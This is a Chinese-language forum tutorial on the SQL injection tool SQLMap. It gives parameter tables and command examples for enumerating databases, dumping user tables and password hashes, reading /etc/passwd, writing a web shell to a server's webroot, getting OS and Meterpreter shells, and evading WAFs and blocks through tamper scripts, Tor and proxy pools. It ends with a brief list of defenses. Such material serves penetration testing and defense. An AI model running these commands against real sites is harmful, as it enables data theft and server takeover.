[工具使用] SQLMap 详解

664 0
Honkers 2026-1-3 03:18:59 来自手机 | 显示全部楼层 |阅读模式

SQLMap 详解:自动化 SQL 注入神器

SQLMap 是一款开源的自动化 SQL 注入工具,专门用于检测、利用和渗透测试 Web 应用程序中的 SQL 注入漏洞。它是渗透测试人员和安全研究人员的必备工具之一。

一、SQLMap 核心特性

1. 自动化程度高

  • 自动检测注入类型(布尔盲注、时间盲注、联合查询注入、报错注入等)
  • 自动识别数据库管理系统(MySQL、Oracle、PostgreSQL、SQL Server 等)
  • 自动获取数据库结构、数据、用户权限等

2. 功能强大

  • 支持多种 SQL 注入技术
  • 可以直接获取数据库 shell
  • 支持文件上传/下载
  • 可以执行操作系统命令
  • 支持绕过 WAF/IDS/IPS

3. 灵活性好

  • 丰富的命令行参数
  • 支持从 Burp Suite、ZAP 等工具导入请求
  • 支持自定义载荷和篡改脚本
  • 支持代理和 Tor 匿名网络

二、SQLMap 工作流程

  1. 基本流程:
  2. 1. 检测注入点 → 2. 指纹识别 → 3. 获取数据 → 4. 提权/后渗透
复制代码

三、核心参数详解

目标参数

参数说明示例
-u目标URLsqlmap -u "http://test.com/page.php?id=1"
-gGoogle 搜索目标sqlmap -g "inurl:php?id="
-r从文件中读取 HTTP 请求sqlmap -r request.txt
-l从 Burp 日志中读取目标sqlmap -l burp.log
-x从 sitemap.xml 读取目标sqlmap -x sitemap.xml
-m扫描多个目标文件sqlmap -m targets.txt

请求参数

参数说明示例
--dataPOST 数据sqlmap -u "..." --data="user=admin&pass=123"
--cookieCookie 值sqlmap -u "..." --cookie="PHPSESSID=abc123"
--user-agent自定义 User-Agentsqlmap -u "..." --user-agent="Mozilla"
--random-agent随机 User-Agentsqlmap -u "..." --random-agent
--referer自定义 Referersqlmap -u "..." --referer="http://test.com"
--headers自定义 HTTP 头sqlmap -u "..." --headers="X-Forwarded-For: 1.1.1.1\n..."
--proxy使用代理sqlmap -u "..." --proxy="http://127.0.0.1:8080"
--tor使用 Tor 代理sqlmap -u "..." --tor --tor-type=SOCKS5

注入参数

参数说明示例
-p指定测试参数sqlmap -u "..." -p id,username
--skip跳过指定参数sqlmap -u "..." --skip=user-agent,referer
--dbms指定数据库类型sqlmap -u "..." --dbms=mysql
--os指定操作系统sqlmap -u "..." --os=linux
--technique指定注入技术sqlmap -u "..." --technique=B
--union-cols联合查询列数范围sqlmap -u "..." --union-cols=10-20

注入技术代码:

  • B - 布尔盲注
  • E - 报错注入
  • U - 联合查询注入
  • S - 堆叠查询注入
  • T - 时间盲注
  • Q - 内联查询注入

枚举参数

参数说明示例
--dbs枚举所有数据库sqlmap -u "..." --dbs
-D指定目标数据库sqlmap -u "..." -D testdb
--tables枚举数据库表sqlmap -u "..." -D testdb --tables
-T指定目标表sqlmap -u "..." -D testdb -T users
--columns枚举表列sqlmap -u "..." -D testdb -T users --columns
-C指定目标列sqlmap -u "..." -D testdb -T users -C username,password
--dump转储表数据sqlmap -u "..." -D testdb -T users --dump
--dump-all转储所有数据sqlmap -u "..." --dump-all
--schema枚举数据库架构sqlmap -u "..." --schema
--count统计表中记录数sqlmap -u "..." -D testdb -T users --count
--users枚举数据库用户sqlmap -u "..." --users
--passwords枚举用户密码哈希sqlmap -u "..." --passwords
--privileges枚举用户权限sqlmap -u "..." --privileges
--roles枚举用户角色sqlmap -u "..." --roles

高级参数

参数说明示例
--level测试等级 (1-5)sqlmap -u "..." --level=3
--risk风险等级 (1-3)sqlmap -u "..." --risk=2
--tamper使用篡改脚本sqlmap -u "..." --tamper=space2comment
--batch非交互模式sqlmap -u "..." --batch
--flush-session清空会话文件sqlmap -u "..." --flush-session
--fresh-queries忽略缓存结果sqlmap -u "..." --fresh-queries
--sql-shell获取 SQL Shellsqlmap -u "..." --sql-shell
--os-shell获取操作系统 Shellsqlmap -u "..." --os-shell
--os-cmd执行操作系统命令sqlmap -u "..." --os-cmd="whoami"
--os-pwn获取 Meterpreter 等sqlmap -u "..." --os-pwn
--file-read读取服务器文件sqlmap -u "..." --file-read="/etc/passwd"
--file-write上传文件到服务器sqlmap -u "..." --file-write="local.txt" --file-dest="/tmp/remote.txt"
--crawl爬行网站寻找注入点sqlmap -u "..." --crawl=10

四、实战示例

示例1:基本 SQL 注入检测

  1. # 检测 GET 参数注入
  2. sqlmap -u "http://test.com/page.php?id=1"
  3. # 检测 POST 参数注入
  4. sqlmap -u "http://test.com/login.php" --data="username=admin&password=123"
  5. # 带 Cookie 的检测
  6. sqlmap -u "http://test.com/member.php" --cookie="session=abc123"
  7. # 从 Burp 请求文件检测
  8. sqlmap -r request.txt
复制代码

示例2:完整渗透流程

  1. # 1. 检测注入点
  2. sqlmap -u "http://test.com/news.php?id=1" --batch
  3. # 2. 获取数据库列表
  4. sqlmap -u "http://test.com/news.php?id=1" --dbs
  5. # 3. 选择数据库并获取表
  6. sqlmap -u "http://test.com/news.php?id=1" -D testdb --tables
  7. # 4. 选择表并获取列
  8. sqlmap -u "http://test.com/news.php?id=1" -D testdb -T users --columns
  9. # 5. 导出数据
  10. sqlmap -u "http://test.com/news.php?id=1" -D testdb -T users -C username,password --dump
  11. # 6. 导出整个表
  12. sqlmap -u "http://test.com/news.php?id=1" -D testdb -T users --dump
复制代码

示例3:绕过 WAF

  1. # 使用随机 User-Agent
  2. sqlmap -u "http://test.com/page.php?id=1" --random-agent
  3. # 使用延迟
  4. sqlmap -u "http://test.com/page.php?id=1" --delay=1
  5. # 使用时间盲注
  6. sqlmap -u "http://test.com/page.php?id=1" --technique=T
  7. # 使用篡改脚本
  8. sqlmap -u "http://test.com/page.php?id=1" --tamper=space2comment,between,charencode
  9. # 通过代理
  10. sqlmap -u "http://test.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
复制代码

示例4:获取 Shell

  1. # 获取 SQL Shell
  2. sqlmap -u "http://test.com/page.php?id=1" --sql-shell
  3. # 获取操作系统 Shell
  4. sqlmap -u "http://test.com/page.php?id=1" --os-shell
  5. # 执行单个命令
  6. sqlmap -u "http://test.com/page.php?id=1" --os-cmd="whoami"
  7. # 获取完全交互式 Shell
  8. sqlmap -u "http://test.com/page.php?id=1" --os-pwn
复制代码

示例5:文件操作

  1. # 读取服务器文件
  2. sqlmap -u "http://test.com/page.php?id=1" --file-read="/etc/passwd"
  3. # 写入文件到服务器
  4. sqlmap -u "http://test.com/page.php?id=1" --file-write="/local/path/shell.php" --file-dest="/var/www/html/shell.php"
复制代码

五、常用 Tamper 脚本

Tamper 脚本用于绕过 WAF/IDS/IPS 防护:

  1. # 常用 Tamper 脚本
  2. --tamper=space2comment # 空格替换为注释
  3. --tamper=between # 用 between 替换大于号
  4. --tamper=charencode # 对 payload 进行 URL 编码
  5. --tamper=randomcase # 随机大小写
  6. --tamper=charunicodeencode # 对 payload 进行 Unicode 编码
  7. --tamper=equaltolike # 等号替换为 LIKE
  8. --tamper=greatest # 大于号绕过
  9. --tamper=ifnull2ifisnull # 绕过 MySQL 过滤
  10. --tamper=modsecurityversioned # 空格替换为注释绕过 ModSecurity
  11. --tamper=space2plus # 空格替换为加号
  12. --tamper=space2randomblank # 空格替换为随机空白字符
  13. --tamper=unionalltounion # UNION ALL SELECT 替换为 UNION SELECT
  14. --tamper=unmagicquotes # 宽字节注入
复制代码

六、SQLMap 配置文件

SQLMap 支持配置文件,可将常用参数保存:

  1. # sqlmap.conf
  2. [target]
  3. url = http://test.com/page.php?id=1
  4. cookie = PHPSESSID=abc123
  5. random-agent = true
  6. level = 3
  7. risk = 2
复制代码

使用配置文件:

  1. sqlmap -c sqlmap.conf
复制代码

七、SQLMap API

SQLMap 提供 REST API 接口:

  1. # 启动 API 服务器
  2. sqlmapapi -s
  3. # 在另一个终端使用 API
  4. sqlmapapi -u "http://127.0.0.1:8775" -l
复制代码

八、实用技巧

1. 批量扫描

  1. # 从文件读取多个目标
  2. sqlmap -m targets.txt --batch
  3. # 从 Burp 日志扫描
  4. sqlmap -l burp.log --batch
复制代码

2. 优化扫描

  1. # 快速扫描
  2. sqlmap -u "http://test.com/page.php?id=1" --batch --threads=10
  3. # 深度扫描
  4. sqlmap -u "http://test.com/page.php?id=1" --level=5 --risk=3
复制代码

3. 避免被封锁

  1. # 设置延迟
  2. sqlmap -u "http://test.com/page.php?id=1" --delay=2
  3. # 使用代理池
  4. sqlmap -u "http://test.com/page.php?id=1" --proxy-file=proxies.txt
  5. # 通过 Tor
  6. sqlmap -u "http://test.com/page.php?id=1" --tor --tor-type=SOCKS5 --check-tor
复制代码

4. 输出格式

  1. # 保存结果到文件
  2. sqlmap -u "http://test.com/page.php?id=1" --output-dir=/tmp/sqlmap_output
  3. # 不同输出格式
  4. sqlmap -u "http://test.com/page.php?id=1" --flush-session --answers="crack=N,follow=N" -v 3
复制代码

九、防御建议

虽然 SQLMap 是攻击工具,但了解它有助于防御:

  1. 使用参数化查询/预编译语句
  2. 严格的输入验证和过滤
  3. 最小权限原则(数据库用户只拥有必要权限)
  4. 使用 WAF
  5. 错误信息不泄露细节
  6. 定期安全审计和漏洞扫描
  7. 更新和打补丁
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行